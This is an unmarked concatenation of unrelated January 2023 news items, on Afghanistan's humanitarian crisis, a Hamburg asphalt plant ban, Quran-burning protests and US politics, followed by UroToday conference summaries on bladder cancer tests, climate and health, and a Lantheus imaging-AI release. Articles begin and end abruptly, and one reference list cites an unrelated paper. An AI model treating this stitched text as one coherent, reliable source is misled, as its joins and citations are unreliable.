UNITED NATIONS (UrduPoint News / Sputnik - 24th January, 2023) Afghanistan is on the verge of systemic implosion with two-thirds of the population now in need of assistance, the UN Office for the Coordination of Humanitarian Affairs (OCHA) said in a new report.

"Afghanistan is facing an unprecedented humanitarian crisis with a very real risk of systemic collapse and human catastrophe... In the absence of development activity, the Afghan people are experiencing a backwards slide evidenced by the surge of humanitarian needs across the country," the report, released on Monday, said.

The number of people in need of humanitarian aid in 2022 rose by 16 percent to 28.3 million people, nearly 66 percent of the population.

The population is expected to grow at 2.3 percent per year, marking one of the steepest rates in the region, the report said.

After the collapse of the previous regime, the report explained, donors cut off external aid that had accounted for 75 percent of public expenditure, including funds for the public health system.

Around 17 million people face acute hunger, including 6 million people at emergency levels - one of the highest figures worldwide, the UN agency said, while warning that things could get worse.

"Deterioration is expected in the first quarter of 2023 due to the simultaneous effects of winter and the lean season, sustained high food prices, reduced income and unemployment and continued economic decline," the report said.

This crisis, the UN agency observed, is also a bit different from previous ones in terms of root causes.

"While in previous years, humanitarian needs have been largely driven by conflict, the key drivers of humanitarian need in 2023 are multidimensional: drought, climate change, protection threats, particularly for women and girls, and the economic crisis," the OCHA said.

In addition to "unimaginable" human costs, the crisis is reversing many gains of the last 20 years - including related to women's rights, according to the report.
Three years after an asphalt plant was first proposed and vigorously opposed in Hamburg, the Town Board outlawed them Monday night.

And the owner of the property where a plant was planned said Tuesday there will be legal action to fight the move.

AL Asphalt first proposed erecting a hot mix asphalt plant in 2019, on a small portion of a 53-acre parcel on Camp Road. The plan was met with stiff opposition from residents. The company later proposed a similar plant in Niagara County but returned to Hamburg last year with the submission of a draft environmental impact statement, which started a lengthy review process.

The location is at the border of the town and village of Hamburg, along a section of the road both municipalities are targeting as a gateway in need of revitalization.

The Town Board's action came on the same night it approved a new comprehensive plan, which recommends eliminating outdated industrial uses and zoning districts that do not represent the vision of the town, such as lumber yards, coal yards, cement mixing plant, storage of petroleum products and processing of bituminous products, also known as an asphalt plant.

The board approved the measures on the asphalt plant without discussion. Councilwoman Megan Comerford, who was a founding member of "Hamburg Residents Against the Asphalt Plant" before she was elected, abstained from the vote.

Hamburg wants air quality, traffic concerns addressed before agreeing to asphalt plant The proposed plant, which many had thought was not going to be built after the owners pursued a Niagara County location, resurfaced when Al Asphalt submitted a draft environmental impact statement to Hamburg last month.

Supervisor Randy Hoak told The Buffalo News that the company's application for the asphalt plant is still under review, and the town sees the application and move to prohibit the plants as separate actions.

"The application is also proceeding on its own merits and own time frame," Hoak said.

Hoak said the town pared its list of issues with the draft environmental impact statement, and is waiting for the company to respond.

The board Monday took two actions on asphalt processing facilities: One removes them as a permitted use under the M-3 manufacturing zone, the other would prohibit them anywhere in the town.

The proposed site of the asphalt plant is the home of a concrete plant, which owner Roseanne DiPizio said is still operational and producing concrete.

"As far as I see, the town is doing what they feel is right. And we will do what we feel is right," she said. "There will be litigation."

She said the property was zoned for manufacturing when it was purchased, and the town did not act to remove asphalt plants from permitted uses until after she filed the application.

"What they have done in my mind is so un-American that I can't believe it could be legal," she said. "It's very un-American to take someone's property that they bought that was zoned and has specific rights."

Resolutions said banning asphalt plants is to improve and protect the town's physical and visual environment as well as its character. It could affect the proposed plant and other property by leaving land underutilized and derelict.

"However, some of the potentially affected lots are currently underutilized, a few vacant lots in all of the Town is not significant," the resolution stated, adding that prohibiting asphalt plants could protect the health and safety of people and property in the town.

Board members tabled a measure that would have rezoned several parcels, including the site of the proposed asphalt plant, from manufacturing to other designations, such as residential-agricultural and commercial. The concrete plant would be changed to a mixed-use district.
Marat Kasem, the editor-in-chief of Sputnik Lithuania who was recently arrested in Latvia, wrote a new letter to his colleagues from prison in Riga, thanking them for their support

MOSCOW (UrduPoint News / Sputnik - 24th January, 2023) Marat Kasem, the editor-in-chief of Sputnik Lithuania who was recently arrested in Latvia, wrote a new letter to his colleagues from prison in Riga, thanking them for their support.

Kasem, a Latvian national working at the Sputnik Lithuania editorial desk of Moscow-based international media group Rossiya Segodnya, was detained during a trip to the Latvian capital on January 3 and sent to Riga Central Prison two days later, having been accused of violating EU sanctions against Russia as well as of espionage, an offense punished by up to 20 years in prison. The journalist was allowed to say his final goodbyes to his grandmother, who died while he was in prison.

In his letter, Kasem said that the news of the death of his grandmother was devastating.

"I thank you for your condolences, it was very difficult to accept what happened.

Trouble, as they say, does not come alone. In such grief, the time machine will not help, but your letters will (help) a lot!" Kasem's letter read.

The journalist wished strength and creative accomplishments to his colleagues, recalling that "anything is possible" in Latvia.

"I will not once again provoke the investigation and I will fully trust you to take care of my case. You'll manage it! I miss everyone," he added.

The Russian Foreign Ministry said that Kasem's arrest was an act of revenge against the country's media, adding that the journalist felt politically persecuted and spoke about it often. Dmitry Kiselev, director general of Rossiya Segodnya, said Kasem had faced political persecution in the Baltic states.

Kasem's lawyers said that they will file a complaint with the European Court of Human Rights.
WASHINGTON (UrduPoint News / Sputnik - 24th January, 2023) President Joe Biden said Congress must pass new legislation introduced earlier in the day to ban assault weapons in light of the recent spate of shootings including in Monterey Park, California.

"Today, Senator (Dianne) Feinstein... has once again introduced an Assault Weapons and High-Capacity Magazine Ban in the Senate, as well as legislation raising the age to purchase them to 21," Biden said in a statement on Monday. "I urge both chambers of Congress to act quickly and deliver this Assault Weapons Ban to my desk."

Biden said when he signed the Bipartisan Safer Communities Act this summer, there was still work to be done to "keep dangerous firearms out of dangerous hands.

"

"In the short time since, communities across America have been struck by tragedy after tragedy, including mass shootings from Colorado Springs to Monterey Park and daily acts of gun violence that do not make national headlines," he added.

Over the weekend, a gunman opened fire in southern California at the Monterey Park dance studio at a street festival celebrating Lunar New Year, killing 11 and injuring nine others. The suspected gunman fled the scene and was found dead by authorities in a van in a neighboring city

Earlier on Monday, police in Half Moon Bay, California, about 30 miles south of San Francisco, said a suspect was in custody after reports of four found dead in two separate shootings.
(@FahadShabbir)

Hundreds of Afghan men staged a protest in the eastern city of Khost on Tuesday to express anger at the burning of the the Holy Quran in the Swedish capital over the weekend

Khost, Afghanistan, (APP - UrduPoint / Pakistan Point News - 24th Jan, 2023 ) :Hundreds of Afghan men staged a protest in the eastern city of Khost on Tuesday to express anger at the burning of the the Holy Quran in the Swedish capital over the weekend.

Swedish-Danish far-right politician Rasmus Paludan on Saturday set fire to a copy of the Muslim holy book in front of Turkey's embassy in Stockholm.

Protests have been held since then in some Muslim countries, and on Tuesday crowds of Afghan men condemned the incident in Khost.

"Death to the Swedish government, death to such politicians," protesters chanted in the city's main square, an AFP correspondent reported.

Video footage taken by AFP showed protesters, many holding copies of the Holy Quran, burning the Swedish flag and chanting against Paludan.

"The people of Khost condemned the burning of the Quran in Sweden and called on Muslim countries to raise their voices against this evil and filthy politician," Qadeer Lakanwal, a protester and one of the organisers of the rally, told AFP.

Another organiser, Ibrahim Sayar, said such acts "should not be repeated so as not to create hatred in the hearts of Muslims for other religions".

A protester, speaking on a loudspeaker at the rally, was heard calling on the Swedish leader to catch Paludan "and kill him".

Afghanistan's foreign ministry had earlier condemned the burning of the Holy Quran.

In a statement released on Sunday, the ministry called on the Swedish government "to punish the perpetrator" and to stop "such vile and provocative anti-Islamic and anti-Muslim acts".

Demonstrations against Paludan's burning of the Holy Quran also broke out in Iraq and Pakistan, and Indonesia summoned Sweden's envoy on Tuesday over the incident.
MOSCOW (UrduPoint News / Sputnik - 24th January, 2023) No attacks on Syria's Idlib de-escalation zone by the Jabhat al-Nusra terrorist group (banned in Russia) have been recorded in the past day, the Russian Defense Ministry's Center for Reconciliation of Opposing Sides in Syria said in a statement.

"No violations of the ceasefire regime have been registered in the Idlib de-escalation zone over the past day," according to the statement.

The Russian Defense Ministry's Center for Reconciliation of Opposing Sides and Control over the Movement of Refugees in the Syrian Arab Republic was established in February 2016.

Its tasks include the signing of agreements on illegal armed groups and individual settlements joining the regime of cessation of hostilities, as well as coordinating the delivery of humanitarian aid.
The production of air defense missiles in Russia is comparable to production volumes elsewhere globally, they are modern and reliable, and the system itself is working properly, Russian President Vladimir Putin said

MOSCOW (UrduPoint News / Sputnik - 24th January, 2023) The production of air defense missiles in Russia is comparable to production volumes elsewhere globally, they are modern and reliable, and the system itself is working properly, Russian President Vladimir Putin said.

"The fact that the United States produces, say, Patriot missiles  our country produces three times as much of such missiles. Even more than three times.

And as for air defense missiles in general, for various purposes, Russian production is comparable to the entire global production. Among other things, the systems themselves are modern and reliable. Nevertheless, of course, everything happens, but in general, the system works properly," Putin said at a meeting with the governor of the Belgorod region, Vyacheslav Gladkov.

Practical combat work shows that Russian air defense is one of the world's best, Putin added.
(@FahadShabbir)

ISTANBUL (UrduPoint News / Sputnik - 24th January, 2023) The Turkish Foreign Ministry said on Tuesday that it had summoned the Dutch ambassador in Ankara in connection the controversial demonstration with the burning of the Quran in The Hague.

Media reported on Monday that far-right Dutch politician and leader of the Islamophobic group Pegida Edwin Wagensveld tore out pages from a copy of the Muslim holy book and burned them in front of the parliamentary building in The Hague. The local authorities, however, reportedly granted the action, provided he does not burn the Muslim holy book.

"The Dutch ambassador in Ankara was summoned to the Turkish Foreign Ministry, he was strongly protested and condemned for this vile and disgusting act. We demanded that the Netherlands prevent such actions," the ministry said in a statement.

On Saturday, Rasmus Paludan, the leader of the far-right Danish political party Stram Kurs, burned a copy of the Quran in front of the Turkish embassy in Stockholm after receiving a permission from the authorities. The action was condemned by many countries, including Turkey.
US forces eliminated two members of the al-Shabaab terrorist group (affiliated with al-Qaeda, banned in Russia) in a strike in Somalia, US Africa Command (AFRICOM) said on Tuesday

WASHINGTON (UrduPoint News / Sputnik - 24th January, 2023) US forces eliminated two members of the al-Shabaab terrorist group (affiliated with al-Qaeda, banned in Russia) in a strike in Somalia, US Africa Command (AFRICOM) said on Tuesday.

"The initial assessment is the strike killed two al-Shabaab terrorists," the statement read.

The strike took place on January 23 in a remote area approximately 396 kilometers (246 miles) northeast of Somalia's capital Mogadishu at the request of Somalian government.

"Given the remote location of the operation, the initial assessment is that no civilians were injured or killed," the statement added.

Media reported on Monday that 39 al-Shabaab terrorists were killed in an operation conducted by the Somalian armed forces with the support of their international security partners. It came a day after al-Shabaab militants attacked a government building in Mogadishu, killing at least six civilians.
The World Health Organization said on Tuesday that one of its doctors had been abducted in Mali, adding that the motivation behind an attack on his car was unclear

Geneva, (APP - UrduPoint / Pakistan Point News - 24th Jan, 2023 ) :The World Health Organization said on Tuesday that one of its doctors had been abducted in Mali, adding that the motivation behind an attack on his car was unclear.

"We deplore the abduction of WHO colleague Dr Mahamadou Diawara, who was taken by unidentified assailants from his car on January 23, in the town of Menaka in northern Mali," WHO director-general Tedros Adhanom Ghebreyesus told a press conference in Geneva.

Tedros said the UN health agency was working with local authorities to find out what had happened on Monday, adding: "Health workers should never be a target." In a statement, the WHO said it had deployed Diawara in Menaka since the beginning of 2020.

He had been leading efforts to provide medical care to communities that are often remote and face insecurity risks and violence.

"The driver of his car was also attacked, but the assailants left him behind and he is recovering from the incident," the statement said.

"The motive for the abduction is unclear.

"WHO extends our sympathies to the family of Dr Diawara and is working with local authorities to investigate the abduction and ensure our colleague's quick return to his family." Mali has been in the throes of a nearly 11-year security crisis triggered by a regional revolt in the north that developed into a full-blown jihadist insurgency.

Thousands have died, hundreds of thousands have fled their homes and devastating economic damage has been inflicted on one of the world's poorest countries.

Since August 2020, Mali has been ruled by the military, leading to a bust-up with France, the country's traditional ally, and closer ties with Russia.
(UroToday.com) The 23rd Annual Meeting of the Society of Urologic Oncology held in San Diego, CA between November 30th and December 2nd, 2022 was host to a session on the real life impact of CxBladder tests for the diagnosis and surveillance of bladder cancer.

Dr. John Sfakianos began his presentation by noting that current guidelines for surveillance provide little concrete guidance for when surveillance may be stopped. The AUA currently provides the following guidance by risk category:

Low risk: After five years, shared decision making between patients and providers Intermediate risk: No definitive stopping point High risk: No definitive stopping point

Conversely, the EAU provides the following guidance:

Low-risk tumors: After five years of follow-up, discontinuation of cystoscopy or its replacement with less invasive methods can be considered

In patients with high risk, or very high-risk disease treated conservatively, recurrences after ten years of tumor-free survival are not unusual. As such, life-long follow-up is recommended.

Although cystoscopies have low, non-zero morbidity, they remain psychologically cumbersome for patients. Currently, urinary biomarkers are used as adjunct (or companion) tests to improve detection at the time of flexible cystoscopy or as replacement tests to reduce the number of flexible cystoscopies. Everyones goal, however, is to have a noninvasive monitoring method for patients with non-muscle invasive bladder cancer.

The following questions for surveillance of patients with non-muscle invasive bladder cancer remain:

Can we use non-invasive methods to adjust surveillance schedules?

Can we use non-invasive methods to stop cystoscopies when risk is very low?

Can we use non-invasive methods to personalize scheduling?

Do we have to adjust for never recurrence versus multiple recurrences?

In order to answer these questions, we need to better understand the natural history of patients with bladder cancer. Dr. Sfakianos presented, as of yet, unpublished data from a cohort of 386 patients with non-muscle invasive bladder cancer, from Karolinska, Sweden, who were followed for a median of 10.8 years (IQR: 4.2 to 20.2 years). Of these 386 patients, 284 (73.6%) LG or HG Ta disease and 55 patients (14.2%) died of bladder cancer.

Long-term follow-up of this cohort showed:

There was a clear separation of the cancer-specific survival curves amongst patients with LG Ta, HG Ta and HG T1 disease, as demonstrated below:

Recurrence and progression rates beyond five years in patients with HG T1 disease are essentially a never occurrence and occur only rarely in patients with LG Ta disease.

As such, these results can inform how we tailor our surveillance strategies in these patients, as a function of survival time from initial diagnosis. Dr. Sfakianos next addressed how he uses Cxbladder in his practice, by risk category:

Low-risk patients: For patients without recurrence by three years, he currently uses Cxbladder, a urinalysis, and urine cytology instead of cystoscopy

Intermediate-risk patients: For patients without recurrence by five years, he currently uses Cxbladder, a urinalysis and urine cytology every 6 months instead of a cystoscopy

High-risk patients: For patients without recurrence by five years, he currently uses Cxbladder, a urinalysis, and urine cytology every 6 months instead of a cystoscopy

Dr. Sfakianos next went on to present a case study highlighting the utility of Cxbladder from his own practice This was an 83-year-old male who initially presented with hematuria in 2017. The patient was found to have CIS of the bladder. He was treated with induction BCG and maintenance for 1 year which was completed in 2019. The patient had no evidence of disease recurrence and had undergone surveillance cystoscopies and urine tests every six months. The patient was doing well on surveillance until February 2020, when he was found to have a negative cystoscopic examination, but urine cytology showed evidence of malignant cells. Faced with this clinical dilemma, Dr. Sfakianos ordered Cxbladder Monitor test, which came back as 2.7 (below the pre-defined cut off of 3.5).

Despite the negative test result, Dr. Sfakianos took the safe option of taking the patient back to the operating room for random biopsies and an upper tract evaluation, with all the work up negative for presence of gross malignancy. He subsequently has had positive cytology results, but with negative cystoscopies and negative Cxbladder Monitor test results during his surveillance. His last evaluation as of May 2022 still showed no evidence of disease.

While peer-reviewed studies1 have demonstrated that Cxbladder Monitor has an excellent negative predictive value in the range of 97 to 98.5%, Dr. Sfakianos group performed an internal real world analysis, that validated the findings from these prior studies. In this series of 161 patients with non-muscle invasive bladder cancer and 439 Cxbladder Monitor tests, all patients underwent a cystoscopy plus cytology with subsequent TURBT in case of a positive cystoscopy. This analysis demonstrated that overall, for all patients, the negative predictive value was 90.0%. For LG Ta and HG T1 patients, the corresponding negative predictive value (NPV)s were 80.2% and 97.0%, respectively.

Dr. Sfakianos concluded his talk by emphasizing that understanding the risk recurrence for the various NMIBC risk groups and having a test such as Cxbladder Monitor with a high NPV may allow us to improve/personalize noninvasive surveillance testing for our patients.

Presented by: John Sfakianos, MD, Assistant Professor of Urology and Urologic Oncology, Icahn School of Medicine at Mount Sinai, New York, NY

Written by: Rashid Sayyid, MD, MSc  Society of Urologic Oncology (SUO) Clinical Fellow at The University of Toronto, @rksayyid on Twitter during the 23rd Annual Meeting of the Society of Urologic Oncology (SUO), Nov 30  Dec 2, 2022. San Diego, CA

References:



Related Content: From Science to Clinical Utility: Cxbladder Monitor- Bladder Cancer Surveillance for Patients with Urothelial Carcinoma - Tamer Aboushwareb, Neal Shore & Josh Meeks
(UroToday.com) The 23rd Annual Meeting of the Society of Urologic Oncology held in San Diego, CA between November 30th and December 2nd, 2022 was host to a session on the real life impact of CxBladder tests for the diagnosis and surveillance of bladder cancer.

Dr. Sima Porten began her presentation by noting that there has been an explosion of at home tests, many of which have been approved by the US FDA. The most prominent example of this is the Cologuard stool DNA tests for colorectal cancer screening that has seen widespread adoption in the United States.

Dr. Porten focused her presentation on the utility of Cxbladder Monitor for the surveillance of bladder cancer patients. Cxbladder is a urine-based test that evaluates the gene expression of 5 mRNA biomarkers (MDK, HOXA13, CDC2, IGFBP5, CXCR2), which combined with patient clinical factors, allows for the calculation of a numerical value with a predefined cut-off value of 3.5. In a multicenter study of patients undergoing surveillance for recurrent urothelial carcinoma, Cxbladder Monitor was shown to have a:

Negative predictive value of 0.97

Sensitivity of 0.96 for detecting HG Ta, CIS, HG or LG T1 disease

Sensitivity of 0.86 for detecting LG Ta disease

A false negative rate of <1.5%

Not be affected by adjuvant BCG

Can be sent to a patients homes as a self-collected test

A pilot study was designed by Dr. Porten to evaluate the potential role of Cxbladder to minimize the frequency of cystoscopies in patients undergoing surveillance for bladder cancer, and thus reduce total patient burden (i.e. personal discomfort, financial time off work, travel, parking etc.). While this trial was hindered secondary to the COVID-19 pandemic, its framework and inclusion criteria were as follows:

Inclusion criteria:

NMIBC patients due for surveillance:

 6 months from a primary diagnosis  9 months from a recurrent diagnosis  3 weeks from prior urinary instrumentation (voided urine only)  3 weeks from intravesical chemotherapy and 4 weeks from BCG No gross hematuria or active UTI

Study framework:

Step 1: The clinic identifies, and orders Cxbladder Monitor for appropriate patients Step 2: Pacific Edge ships and instructs patients on performing the tests. The results are sent back to the clinic in 1 week Step 3: Telehealth/telephone follow up with the appropriate provider to review the results

Between March 2020 and June 2020, 92 patients from two institutions (UCSF and University of Michigan) were eligible for Cxbladder Monitor and were included in this study. As demonstrated in the table below, the majority of patients had intermediate to high-risk disease. Of note, patients in the Michigan cohort had a significantly longer mean duration between prior most recent recurrence and trial entry (63.9 versus 30.6 months),

As demonstrated in the figure below, of the 92 eligible patients, 66 (71.7%) had a Cxbladder Monitor score <3.5 and, thus, skipped immediate cystoscopy. After a median follow-up of 4 months (IQR: 3  6), no tumors were seen on follow-up in any of the patients.

Of the 24 patients with a Cxbladder Monitor score 3.5, all underwent an immediate cystoscopy with 9/24 (37.5%) patients having a visible tumor. All 9 patients underwent pathologic evaluation with the following findings:

cT0: 1 patient

cTa: 2 patients

cTis: 2 patients

cT2: 2 patients

UTUC: 1 patient

Unknown: 1 patient

Of note, in these 9 patients, all of whom had a positive Cxbladder Monitor score, six (66.6%) had a high-grade positive cytology findings, two (22.2%) had indeterminate findings, and one had a negative result (11.1%).

Summarizing these results, it appears that the performance of Cxbladder Monitor in this setting appears as such:

Sensitivity: 100% Specificity: 78% Negative predictive value: 100% Positive predictive value: 33%

Based on the findings from this pilot trial, Dr. Porten proposed the following protocol for the management of patients with non-muscle invasive bladder cancer, with the goal of safely reducing the frequency of cystoscopic examinations:

But how do patients feel about foregoing more frequent cystoscopic examinations in favor of such protocols? Results of a patient satisfaction survey completed by 41/57 (72%) of UCSF patients demonstrated that:

The test was easy to do at home: Median score of 5/5 (IQR: 4  5) Overall satisfaction was 5/5 (IQR: 4  5) When asked whether they would consider doing this test again in the future as a way to skip one of their surveillance cystoscopies, the answers were as follows: Yes: 30/41 (73%) Maybe: 7/41 (17%) No: 3/41 (10%)

Dr. Porten concluded her presentation as follows:

COVID-19 has created changes to health care delivery pertaining to telehealth, remote work, and rationing resources (physical space)

We are experiencing a new normal in urologic care, which extends beyond the pandemic and that: Reduces patient burden: without compromising short term oncologic outcomes Reduces costs Cxbladder Monitor safely reduces the frequency of surveillance cystoscopies in a real world setting and is acceptable to most patients as a home test



Presented by: Sima Porten, MD, MPH, Assistant Professor, Department of Urology, the University of California at San Francisco, San Francisco, CA

Written by: Rashid Sayyid, MD, MSc  Society of Urologic Oncology (SUO) Clinical Fellow at The University of Toronto, @rksayyid on Twitter during the 23rd Annual Meeting of the Society of Urologic Oncology (SUO), Nov 30  Dec 2, 2022. San Diego, CA

References:



Related Content: From Science to Clinical Utility: Cxbladder Monitor- Bladder Cancer Surveillance for Patients with Urothelial Carcinoma - Tamer Aboushwareb, Neal Shore & Josh Meeks




WASHINGTON  Rep. Nicholas A. Langworthy, a Republican who represents suburban and rural Erie County as well as the Southern Tier, on Monday snagged one of the more important committee assignments in the House, where he will help shape the legislation that goes to the floor for votes.

House Speaker Kevin McCarthy, a California Republican, named Langworthy to the House Rules Committee, which sets the terms of debate for bills that are about to go up for votes. The move means that all four Western New York members of the House will likely serve on major committees in the House over the next two years.

Its a tremendous honor to be chosen by Speaker McCarthy to serve on the crucial and prestigious House Rules Committee," which will help advance the Republican agenda, Langworthy said in a statement. "Im deeply humbled that my colleagues have placed their trust in me as a freshman member to serve on three important committees this Congress and I cant wait to roll up my sleeves and get to work.

Langworthy long has said he'd like a seat on the Energy and Commerce Committee, another powerful panel that oversees the energy sector as well as telecommunications and consumer protection. But McCarthy decided that no first-term lawmakers should serve on that panel.

Instead, in addition to Rules, Langworthy earlier got appointed to the Oversight and Agriculture Committees.

Langworthy said he's happy to be joining the Oversight Committee, which investigates government wrongdoing.

"From holding the Biden administration accountable to fighting for truth and transparency for hardworking American taxpayers, the work of this committee is more important than ever," Langworthy said. "The message should be loud and clear that unchecked power  whether it be from inside the government or out  has come to an end, starting with the work of this committee. Im excited to get started.

And the chairman of the Oversight panel, Rep. James Comer of Kentucky, said he was happy to have Langworthy on the committee.

With Representative Langworthy and our Republican members, this Congress weve got an all-star lineup ready to hit the ground running and go to bat for the American people," Comer said.

Langworthy also said it's important for him to serve on the Agriculture Committee, given that his district sprawls through the farmlands of the Southern Tier.

"Western New York and the Southern Tier have a rich agriculture history from small family farms getting passed down from generation to generation to an up-and-coming agritourism destination," he said. "However, family farms have struggled as a result of policy changes from people who do not understand the agriculture industry. I will be a tireless fighter to protect their livelihood when the Farm Bill is up for negotiation and deliver results they need to thrive.

Meanwhile, Rep. Claudia Tenney, a Canandaigua Republican who represents parts of Niagara and Orleans counties along with all of Genesee and Wyoming counties, was recently named to the House Ways and Means Committee. Rep. Brian Higgins, a Buffalo Democrat, is a longtime member of that key panel, which also oversees Social Security and trade.

The western portion of the state has frequently had two members on Ways and Means, so in a sense, Tenney's appointment to that panel represents a return to the status quo. Nevertheless, Tenney said her selection was good news for the region.

"It's been important to have a voice on this committee for Upstate New York because our interests and needs are very different than New York City," said Tenney, who has been seeking a seat on the panel since 2018. "Our communities tend to be driven by small business owners, entrepreneurs, farmers, and especially this agricultural district" and therefore the panel needs to include someone who understands all those interests, she said.

Tenney said that as a lawyer specializing in tax, corporate and banking law, she's a natural fit for the Ways and Means Committee.

The chairman of the Ways and Means Committee, Rep. Jason Smith of Missouri, agreed.

"A longtime small business owner herself, she is a fierce advocate for working families," Smith said. "Together, we will fight for a tax code that delivers better jobs and higher wages for all Americans and advances the interests of American workers and entrepreneurs."

House Democrats have not yet made their committee assignments, but Higgins is expected to continue serving both on Ways and Means and the Budget Committee.

Meanwhile, Rep. Joe Morelle, a Rochester-area Democrat whose redrawn district now includes a slice of Orleans County, is likely to continue serving on the House Appropriations and Administration committees.
(UroToday.com) Dr. Wael Al-Delaimy, MD, PhD, Professor in the Department of Family Medicine and Public Health and the Herbert Wertheim School of Public Health and Human Longevity at UCSD gave the first of a group of presentations and panels on climate change and its effect on health care.



As a leader at the National Institutes of Healths GeoHealth Hub on Climate Change, Dr. Al-Delaimy is uniquely positioned to delineate the toll of climate change on health. With increases in heatwaves, there has been increasing in heat-wave related death and decrease in human habit-ability in many environments, such as in the Middle East and Californias own central desert counties. He notes a potential increase in mean summer temperatures of 0.5 degrees Celsius (0.9 degrees Fahrenheit) will correlate with a 1200% increase in heat-wave related death. For urologists specifically, increased summer heat and heat waves put patients at risk for nephrolithiasis and renal disease.

Flooding poses a unique risk with disruptions to service delivery and continuity. Not only is there an acute medical surge with increased demand during disasters, but also there is long term impact on chronic disease care. Disparities arise with many of the communities affected by extreme weather are already the worlds most vulnerable, multiplying the threat to communities.

Next, Dr. Al-Delaimy addressed clinical solutions to combat climate change in practice. Specifically, having honest conversations with patients regarding the risks and direct impact on their health. In the case of Urology, physicians should consider heatwaves as risk factor for renal diseases and address these issues with affected patients. On a systems level, health systems must build resilience of critical health care infrastructure and update hazard vulnerability analyses to health hospitals at risk deal with increasing frequency of extreme weather.

Further, medical societies including the American College of Physicians, American Lung Association, etc have resources for physicians to combat Climate Change. He notes that the American Urologic Association lacks guidelines or statements regarding climate change.

Below is a list of some of the professional societies and organizations addressing climate change:





Dr. Al-Delaimy emphasizes that health professionals are uniquely suited to lead the efforts to combat climate change, as health professionals are often seen the most trusted members of society worldwide. Healthcare professionals are informed by scientific evidence but compelled by ethical and moral authority to improve the health of communities.

Following multi-disciplinary meetings on climate change, including scientists, thought leaders, politicians, religious leaders, and Pope Francis, Dr. Al-Delaimy led an effort to compile a book regarding the health impacts of climate change, Health of People, Health of Planet and Our Responsibility.

You can download his book for free here: https://link.springer.com/book/10.1007/978-3-030-31125-4

Presented by: Wael Al-Delaimy, MD, PhD, Professor in the Department of Family Medicine and Public Health and the Herbert Wertheim School of Public Health and Human Longevity at UCSD;

Solomon CG, LaRocque RC. Climate Change - A Health Emergency. N Engl J Med. 2019 Jan 17;380(3):209-211. doi: 10.1056/NEJMp1817067. PMID: 30650319. Al-Delaimy, W., Ramanathan, V., & Sanchez Sorondo, M. (Eds.). (2020). Health of people, Health of Planet and our responsibility. Springer Nature.

Written by: Michelle Leach, MD, PGY3 Urology Resident Physician at UC San Diego, during the 2023 Urology for Social Responsibility Meeting January 14-15, 2023 References:
(UroToday.com) Pulling on her experiences working with global health systems, Professor Radhika Bhavsar, MPH discusses ways we can improve the health of our communities. She describes how often we look to the systems in developed nations to inform how we can build or improve the systems in developing nations. However, she stresses that often we should look to developing nations and apply their successes to help improve the health of communities in the US.Professor Bhavasar discusses that when thinking of health care in communities, it is important to emphasize creating a Culture of Health. With her work in Rwanda, focus was paid to community health workers to reach rural communities, sustainable agricultural practices to improve nutrition, and improving social determinants of health, including transportation, safe roads and walkways, proximity of clinics to communities, etc.Within her Culture of Health model, emphasis is put on our collective social responsibility to lift our communities. Community health workers can connect with communities in ways that clinicians may not be able, they have the ability to enter homes as peers.The United States similarly has invested in improving similar services, such as social workers, case managers, and patient advocates. These individuals aid our patients in navigating an ever complicated system in order to improve their health.Even further, within Rwanda there is a shared collective responsibility that is facilitated by the federal government. Once a month, there are days of community service, called Umuganda, where individuals across the entire country are expected (and federally mandated) to contribute to community projects, such as building walkways, picking up trash, taking care of communal spaces, etc. Further, the government mandates a Sports Day once a month where roads are closed and individuals are encouraged to run, cycle, or use the streets for activities that improve health. Can our government foster a culture that puts health and community at the forefront?This idea of shared social responsibility for community is deeply entrenched in many of the communities of developing nations, and is a concept that can and should be brought the United States. Professor Bhavsar conveys that this idea of shared social responsibility allows us to not only care for others, but also allow others to care for us. Community heals community and ultimately, we are all in this together.She ends with a pungent question for the group: How would you create a culture of health for humanity and what will you do to make that happen?

Presented by: Radhika Bhavsar, MPH, UCSDs School of Social Science, Global Health

Written by: Michelle Leach, MD, PGY3 Urology Resident Physician at UC San Diego, during the 2023 Urology for Social Responsibility Meeting January 14-15, 2023

Adnan Ali, Alex Hoyle, Aine M. Haran, et al. "Association of Bone Metastatic Burden With Survival Benefit From Prostate Radiotherapy in Patients With Newly Diagnosed Metastatic Prostate Cancer." JAMA Oncol. 2021;7(4):555-563.

References:
PYLARIFY AI has the potential to contribute meaningful insights to inform treatment selection and monitoring in prostate cancer. Our presentations at EANM highlight new data on the clinical utility of our artificial intelligence solution to assess response to prostate cancer therapy, said Etienne Montagut, Chief Business Officer, Lantheus. Lantheus continues to be a leader in harnessing the power of AI and machine learning to inform clinical decisions, and support our mission to Find, Fight and Follow disease to deliver better patient outcomes.

In an oral presentation, the Company reviewed the results from a retrospective analysis using aPROMISE to evaluate PSMA PET/CT scans, pre- and post-androgen deprivation therapy, of men with treatment naive castration sensitive prostate cancer. The results demonstrated that a change in automated PSMA scores in bone and lymph nodes is strongly associated with PSA response. The analysis also indicated that a quantitative automated PSMA-score may assess treatment response in bone, which is not feasible with conventional imaging. 1 This presentation was chosen as a top-rated oral presentation within the scientific program at EANM.

This presentation was chosen as a top-rated oral presentation within the scientific program at EANM. In a poster presentation, the Company shared the results from an evaluation of the volumetric expression of PSMA in prostate tumor in PET/CT against MRI PIRAD-Index 4 and 5, in patients who underwent radical prostatectomy. The volumetric expression of PSMA was quantified into an automated PSMA score, which PSMA score was calculated using the PROMISE criteria. The automated PSMA score was observed to be significantly lower in patients with PIRAD score-4 (Median=21.40; 95% CI 10.76 - 40.65), compared to that observed in PIRAD score-5 (Median=37.00; 95% CI 24.68 - 56.05), p=0.014. 2

In a second poster presentation, the Company highlighted the results from a study evaluating a novel methodology for adaptive lesion segmentation in PSMA PET/CT that employs a threshold based on a decreasing percentage of maximum Standard Uptake Value (SUVmax), with the percentage dependent on SUVmax and blood-pool uptake of PSMA PET/CT imaging. The study concluded that the adaptive threshold can be applied to improve reproducibility and robustness when quantifying tumor burden in PSMA PET/CT images. The proposed adaptive thresholding for automatic lesion segmentation demonstrated significantly more accurate segmentations than the conventional method, achieving an improved precision for all lesion types and a similar recall, as compared to the conventional method.3

